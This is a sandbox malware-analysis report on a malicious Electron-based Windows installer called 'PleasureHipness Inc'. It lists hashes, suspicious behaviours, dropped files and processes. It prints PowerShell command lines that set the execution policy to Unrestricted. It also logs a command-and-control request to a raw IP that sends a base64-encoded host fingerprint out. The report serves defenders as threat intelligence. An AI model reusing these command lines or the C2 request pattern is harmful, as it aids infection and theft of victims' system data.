File name:

643e5c9f4d04d42375b344b00550bc7ed4d119e6

Full analysis: https://app.any.run/tasks/74e8f48b-5020-40a8-8fe7-7718dfa14be0
Verdict: Malicious activity
Analysis date: December 13, 2024, 19:20:07
OS: Windows 10 Professional (build: 19045, 64 bit)
Tags:
nodejs
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive, 5 sections
MD5:

297D5CE4DCBAE459987DE91D17DCB9A8

SHA1:

643E5C9F4D04D42375B344B00550BC7ED4D119E6

SHA256:

155D357DEAC165E8EB2750FC63D2BCF34E90095B61772BFF1C20D22435B2262B

SSDEEP:

786432:DgqoMmxuOvaMAZzseQE00KBRXG5Cs4Qnyg:DDoMKuOvaMAZzsmaXG5Cs4Qnv

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Executing a file with an untrusted certificate

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)

    • Changes powershell execution policy (Unrestricted)

      • PleasureHipness Inc.exe (PID: 6884)

  • SUSPICIOUS

    • Malware-specific behavior (creating "System.dll" in Temp)

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)

    • The process creates files with name similar to system file names

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)

    • Drops 7-zip archiver for unpacking

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)

    • Process drops legitimate windows executable

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)

    • Executable content was dropped or overwritten

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)

    • The process bypasses the loading of PowerShell profile settings

      • PleasureHipness Inc.exe (PID: 6884)

    • Reads security settings of Internet Explorer

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)

    • Starts CMD.EXE for commands execution

      • PleasureHipness Inc.exe (PID: 6884)

    • Starts application with an unusual extension

      • cmd.exe (PID: 6948)

    • Application launched itself

      • PleasureHipness Inc.exe (PID: 6884)

    • Using 'findstr.exe' to search for text patterns in files and output

      • cmd.exe (PID: 6552)

    • Starts POWERSHELL.EXE for commands execution

      • PleasureHipness Inc.exe (PID: 6884)

    • The process hides Powershell's copyright startup banner

      • PleasureHipness Inc.exe (PID: 6884)

  • INFO

    • Checks supported languages

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)
      • PleasureHipness Inc.exe (PID: 5464)
      • PleasureHipness Inc.exe (PID: 6884)
      • chcp.com (PID: 7008)
      • PleasureHipness Inc.exe (PID: 7088)

    • The sample compiled with english language support

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)

    • Reads the computer name

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)
      • PleasureHipness Inc.exe (PID: 5464)
      • PleasureHipness Inc.exe (PID: 6884)
      • PleasureHipness Inc.exe (PID: 7088)

    • Reads the machine GUID from the registry

      • PleasureHipness Inc.exe (PID: 6884)

    • Create files in a temporary directory

      • 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe (PID: 6816)

    • Changes the display of characters in the console

      • cmd.exe (PID: 6948)

    • Checks proxy server information

      • PleasureHipness Inc.exe (PID: 6884)

    • The process uses the downloaded file

      • powershell.exe (PID: 3952)
      • powershell.exe (PID: 3700)
      • powershell.exe (PID: 244)
      • powershell.exe (PID: 5536)
      • powershell.exe (PID: 3208)
      • powershell.exe (PID: 6660)
      • powershell.exe (PID: 4944)
      • powershell.exe (PID: 6164)

    • Node.js compiler has been detected

      • PleasureHipness Inc.exe (PID: 6884)
      • PleasureHipness Inc.exe (PID: 7088)
      • PleasureHipness Inc.exe (PID: 5464)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 2756)
      • powershell.exe (PID: 5388)
      • powershell.exe (PID: 236)
      • powershell.exe (PID: 3208)

    • Sends debugging messages

      • PleasureHipness Inc.exe (PID: 6884)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win32 Executable (generic) (52.9)
.exe | Generic Win/DOS Executable (23.5)
.exe | DOS Executable Generic (23.5)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2018:12:15 22:26:14+00:00
ImageFileCharacteristics: No relocs, Executable, No line numbers, No symbols, 32-bit
PEType: PE32
LinkerVersion: 6
CodeSize: 26624
InitializedDataSize: 473088
UninitializedDataSize: 16384
EntryPoint: 0x338f
OSVersion: 4
ImageVersion: 6
SubsystemVersion: 4
Subsystem: Windows GUI
FileVersionNumber: 6.9.6.0
ProductVersionNumber: 6.9.6.0
FileFlagsMask: 0x0000
FileFlags: (none)
FileOS: Win32
ObjectFileType: Executable application
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Windows, Latin1
FileDescription: -
FileVersion: 4.6.3
LegalCopyright: Copyright © 2024 PleasureHipness Inc
LegalTrademarks: PleasureHipness
ProductName: PleasureHipness Inc
ProductVersion: 6.9.6
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
177
Monitored processes
54
Malicious processes
2
Suspicious processes
0

Behavior graph

Click at the process to see the details
start 643e5c9f4d04d42375b344b00550bc7ed4d119e6.exe pleasurehipness inc.exe cmd.exe no specs conhost.exe no specs chcp.com no specs pleasurehipness inc.exe no specs pleasurehipness inc.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe no specs powershell.exe no specs conhost.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs cmd.exe no specs conhost.exe no specs findstr.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs conhost.exe no specs powershell.exe no specs powershell.exe no specs conhost.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs conhost.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
236powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe—PleasureHipness Inc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
244powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe—PleasureHipness Inc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
1144powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe—PleasureHipness Inc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
1448powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe—PleasureHipness Inc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
1468\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2160\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2216powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe—PleasureHipness Inc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
2548\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
2572powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe—PleasureHipness Inc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
2756powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe—PleasureHipness Inc.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\syswow64\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
c:\windows\system32\wow64.dll
c:\windows\system32\wow64win.dll
c:\windows\system32\wow64cpu.dll
c:\windows\syswow64\kernel32.dll
c:\windows\syswow64\kernelbase.dll
c:\windows\syswow64\apphelp.dll
c:\windows\syswow64\msvcrt.dll
Total events
104 298
Read events
104 298
Write events
0
Delete events
0

Modification events

No data
Executable files
17
Suspicious files
123
Text files
68
Unknown types
0

Dropped files

PID
Process
Filename
Type
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\app-32.7z —
MD5:—
SHA256:—
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\7z-out\icudtl.dat —
MD5:—
SHA256:—
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\7z-out\LICENSES.chromium.html —
MD5:—
SHA256:—
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\nsis7z.dllexecutable
MD5:80E44CE4895304C6A3A831310FBF8CD0
SHA256:B393F05E8FF919EF071181050E1873C9A776E1A0AE8329AEFFF7007D0CADF592
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\System.dllexecutable
MD5:0D7AD4F45DC6F5AA87F606D0331C6901
SHA256:3EB38AE99653A7DBC724132EE240F6E5C4AF4BFE7C01D31D23FAF373F9F2EACA
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\7z-out\LICENSE.electron.txttext
MD5:4D42118D35941E0F664DDDBD83F633C5
SHA256:5154E165BD6C2CC0CFBCD8916498C7ABAB0497923BAFCD5CB07673FE8480087D
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\7z-out\chrome_200_percent.pakbinary
MD5:4610337E3332B7E65B73A6EA738B47DF
SHA256:C91ABF556E55C29D1EA9F560BB17CC3489CB67A5D0C7A22B58485F5F2FBCF25C
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\7z-out\locales\bg.pakbinary
MD5:A19269683A6347E07C55325B9ECC03A4
SHA256:AD65351A240205E881EF5C4CF30AD1BC6B6E04414343583597086B62D48D8A24
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\7z-out\locales\af.pakpgc
MD5:7E51349EDC7E6AED122BFA00970FAB80
SHA256:F528E698B164283872F76DF2233A47D7D41E1ABA980CE39F6B078E577FD14C97
6816643e5c9f4d04d42375b344b00550bc7ed4d119e6.exeC:\Users\admin\AppData\Local\Temp\nst797A.tmp\7z-out\locales\ar.pakpgc
MD5:47A6D10B4112509852D4794229C0A03B
SHA256:857FE3AB766B60A8D82B7B6043137E3A7D9F5CFB8DDD942316452838C67D0495
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
9
TCP/UDP connections
34
DNS requests
19
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
1176
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
6396
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAUZZSZEml49Gjh0j13P68w%3D
unknown
—
—
whitelisted
6396
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
—
—
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
—
—
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
—
—
GET
200
23.48.23.143:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
6884
PleasureHipness Inc.exe
GET
200
79.133.46.35:80
http://79.133.46.35/call.php?api=register&username=dXNlcg==&userdata=NCBHQl9bb2JqZWN0IE9iamVjdF1fTWljcm9zb2Z0IEJhc2ljIERpc3BsYXkgQWRhcHRlcl9mYWxzZV8xMjgweDcyMF9XaW5kb3dzIDEwIEVudGVycHJpc2VfMjEgbWludXRlcyAoMC4zNiBob3VycylfQzpcVXNlcnNcYWRtaW5fREVTS1RPUC1KR0xMSkxEX2FkbWluX1dpbmRvd3NfTlRfaWEzMl8xMC4wLjE5MDQ1X0M6XFVzZXJzXGFkbWluXEFwcERhdGFcUm9hbWluZ19DOlxVc2Vyc1xhZG1pblxBcHBEYXRhXExvY2FsXFRlbXBfREVTS1RPUC1KR0xMSkxEX19BTUQ2NCBGYW1pbHkgNiBNb2RlbCAxNCBTdGVwcGluZyAzLCBBdXRoZW50aWNBTURfeDg2X0M6XzRfQzpcVXNlcnNcYWRtaW5cQXBwRGF0YVxMb2NhbFxUZW1wXDJxNGxyclU5eG1vYlB4eVo1VTJTZk82bzdrU1xQbGVhc3VyZUhpcG5lc3MgSW5jLmV4ZQ==
unknown
—
—
unknown
4300
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
4300
SIHClient.exe
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
4
System
192.168.100.255:137
—
—
—
whitelisted
—
—
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4712
MoUsoCoreWorker.exe
51.104.136.2:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
—
—
104.126.37.130:443
www.bing.com
Akamai International B.V.
DE
whitelisted
—
—
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
—
—
192.168.100.255:138
—
—
—
whitelisted
—
—
23.48.23.143:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
1176
svchost.exe
40.126.32.140:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
1176
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 51.104.136.2
  • 40.127.240.158
  • 4.231.128.59
whitelisted
google.com
  • 216.58.212.174
whitelisted
www.bing.com
  • 104.126.37.130
  • 104.126.37.155
  • 104.126.37.170
  • 104.126.37.161
  • 104.126.37.186
  • 104.126.37.176
  • 104.126.37.160
  • 104.126.37.137
  • 104.126.37.162
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
crl.microsoft.com
  • 23.48.23.143
  • 23.48.23.167
  • 23.48.23.180
  • 23.48.23.164
  • 23.48.23.166
  • 23.48.23.141
  • 23.48.23.173
  • 23.48.23.176
  • 23.48.23.145
whitelisted
www.microsoft.com
  • 184.30.21.171
whitelisted
login.live.com
  • 40.126.32.140
  • 40.126.32.74
  • 20.190.160.22
  • 20.190.160.20
  • 20.190.160.17
  • 40.126.32.138
  • 40.126.32.68
  • 40.126.32.76
whitelisted
go.microsoft.com
  • 23.35.238.131
whitelisted
www.google.com
  • 142.250.184.228
whitelisted
arc.msn.com
  • 20.223.36.55
whitelisted

Threats

No threats detected
Process
Message
PleasureHipness Inc.exe
<--- Last few GCs ---> [6884:4CD04000] 42066 ms: Mark-Compact 1004.2 (1045.6) -> 1003.6 (1045.6) MB, 2625.00 / 0.00 ms (average mu = 0.220, current mu = 0.018) allocation failure; scavenge might not succeed [6884:4CD04000] 44836 ms: Mark-Compact 1011.3 (1045.6) -> 1010.7 (1060.4) MB, 2765.00 / 0.00 ms (average mu = 0.109, current mu = 0.000) allocation failure; scavenge might not succeed
PleasureHipness Inc.exe
<--- JS stacktrace --->
Interactive malware hunting service ANY.RUN
© 2017-2026 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
643e5c9f4d04d42375b344b00550bc7ed4d119e6